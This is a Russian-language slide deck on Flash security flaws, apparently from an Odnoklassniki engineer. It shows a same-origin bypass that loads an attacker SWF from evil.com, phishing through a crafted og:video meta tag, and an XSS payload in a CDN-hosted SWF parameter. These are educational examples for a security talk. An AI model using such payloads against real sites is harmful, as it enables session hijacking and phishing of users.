15
Flash умер. Да здравствует Flash! Александра Сватикова Одноклассники

Flash умер. Да здравствует Flash!

Embed Size (px)

Citation preview

Page 1: Flash умер. Да здравствует Flash!

Flash умер. Да здравствует Flash!

Александра Сватикова Одноклассники

Page 2: Flash умер. Да здравствует Flash!

Модель безопасности Flash

• Application sandbox

• Security domain / application domain

Page 3: Flash умер. Да здравствует Flash!

#1 Same-Origin Policy bypass

http://st.mycdn.me/vulnerable.swf?conf=config.swf

Jakub Żoczek (@zoczus)

loader.load(new URLRequest(loaderInfo.parameters.conf), new LoaderContext(false, new ApplicationDomain(), SecurityDomain.currentDomain)); !addChild(loader);

Page 4: Flash умер. Да здравствует Flash!

#1 Same-Origin Policy bypass

http://st.mycdn.me/vulnerable.swf?conf=http://evil.com/config.swf

Jakub Żoczek (@zoczus)

http://st.mycdn.me/vulnerable.swf?conf=config.swf

loader.load(new URLRequest(loaderInfo.parameters.conf), new LoaderContext(false, new ApplicationDomain(), SecurityDomain.currentDomain)); !addChild(loader);

Page 5: Flash умер. Да здравствует Flash!

#1 Same-Origin Policy bypass

evil.com mycdn.me

Jakub Żoczek (@zoczus)

http://st.mycdn.me/vulnerable.swf?conf=config.swf

loader.load(new URLRequest(loaderInfo.parameters.conf), new LoaderContext(false, new ApplicationDomain(), SecurityDomain.currentDomain)); !addChild(loader);

Page 6: Flash умер. Да здравствует Flash!

#1 Same-Origin Policy bypassJakub Żoczek (@zoczus)

http://ok.ru/crossdomain.xml

<cross-domain-policy> ... <allow-access-from domain="st.mycdn.me"/> <allow-access-from domain="ok.ru"/> <allow-access-from domain="*.ok.ru"/> ... </cross-domain-policy>

Page 7: Flash умер. Да здравствует Flash!

#1 Same-Origin Policy bypassJakub Żoczek (@zoczus)

http://ok.ru/crossdomain.xml

evil.com ok.ru

<cross-domain-policy> ... <allow-access-from domain="st.mycdn.me"/> <allow-access-from domain="ok.ru"/> <allow-access-from domain="*.ok.ru"/> ... </cross-domain-policy>

Page 8: Flash умер. Да здравствует Flash!
Page 9: Flash умер. Да здравствует Flash!

#2 Phishing… <meta property=“og:video" content=“http://tv.ru/player.swf?conf=http://tv.ru/config.swf” > …

Page 10: Flash умер. Да здравствует Flash!

#2 Phishing<meta property=“og:video" content=“http://tv.ru/player.swf?conf=http://tv.ru/config.swf” >

<meta property=“og:video" content=“http://tv.ru/player.swf? conf=http://tv.ru.evil.com/config.swf” >

Page 11: Flash умер. Да здравствует Flash!

#2 Phishing<meta property=“og:video" content=“http://tv.ru/player.swf? conf=http://tv.ru.evil.com/config.swf” >

Page 12: Flash умер. Да здравствует Flash!

#3 XSS in CDN domainhttp://st.mycdn.me/vulnerable.swf?param=username

_root.createTextField("Inputbox",0,20,20,320,240); _root.Inputbox.html=true; _root.Inputbox.htmlText=“Welcome " + _root.param;

http://st.mycdn.me/vulnerable.swf?param=<script>alert(‘xss’)</script>

Page 13: Flash умер. Да здравствует Flash!

#3 XSS in CDN domain

$ host st.mycdn.me st.mycdn.me has address 217.20.152.226 $ $ host videoplayer.ok.ru videoplayer.ok.ru is an alias for st.mycdn.me. videoplayer.ok.ru has address 217.20.152.226

Page 14: Flash умер. Да здравствует Flash!

#3 XSS in CDN domain

$ host st.mycdn.me st.mycdn.me has address 217.20.152.226 $ $ host videoplayer.ok.ru videoplayer.ok.ru is an alias for st.mycdn.me. videoplayer.ok.ru has address 217.20.152.226

http://videoplayer.ok.ru/vulnerable.swf?param=alert(‘xss’)

Page 15: Flash умер. Да здравствует Flash!

Спасибо за внимание!